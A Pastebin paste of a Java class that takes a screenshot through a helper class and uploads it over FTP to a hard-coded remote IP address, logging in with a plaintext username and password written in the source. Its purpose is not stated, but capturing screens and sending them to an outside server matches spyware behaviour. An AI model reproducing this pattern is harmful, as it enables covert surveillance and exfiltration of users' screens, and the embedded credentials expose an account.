Advertisement
Guest User

Untitled

a guest
Sep 14th, 2017
84
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.73 KB | None | 0 0
  1. import java.io.File;
  2. import java.io.FileInputStream;
  3. import java.io.InputStream;
  4. import java.io.*;
  5.  
  6.  
  7. import java.net.*;
  8. import org.apache.log4j.Logger;
  9.  
  10.  
  11. import org.apache.commons.net.ftp.FTP;
  12. import org.apache.commons.net.ftp.FTPClient;
  13. import org.apache.commons.net.ftp.FTPReply;
  14.  
  15.  
  16. public class FTPUpload {
  17.  
  18.  
  19. public void Upload(){
  20. String hostName = "195.191.25.150";
  21. String username = "justcybe";
  22. String password = "1234!@#$";
  23. String location = "/";
  24. FTPClient ftp = null;
  25.  
  26. ExecShot name = new ExecShot();
  27. CurrentTime tm2 = new CurrentTime();
  28. InputStream in = null;
  29. String print;
  30.  
  31. try {
  32. ftp = new FTPClient();
  33. ftp.connect(hostName);
  34. ftp.login(username, password);
  35. ftp.setFileType(FTP.BINARY_FILE_TYPE);
  36.  
  37.  
  38.  
  39. ftp.changeWorkingDirectory("/");
  40.  
  41. int reply = ftp.getReplyCode();
  42. System.out.println("Received Reply from FTP Connection:" + reply);
  43.  
  44. if(FTPReply.isPositiveCompletion(reply)){
  45. System.out.println("Connected Success");
  46. }
  47.  
  48. print = name.TakeScreenShot();
  49.  
  50.  
  51. File f1 = new File(location);
  52. in = new FileInputStream(print);
  53.  
  54. ftp.storeFile(print,in);
  55.  
  56. System.out.println("SUCCESS");
  57.  
  58. ftp.logout();
  59. ftp.disconnect();
  60. System.out.println("Disconnected");
  61. } catch (FileNotFoundException ex){
  62. // System.out.println("file not found");
  63. }
  64. catch (Exception e) {
  65.  
  66. e.printStackTrace();
  67. }
  68. }
  69. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement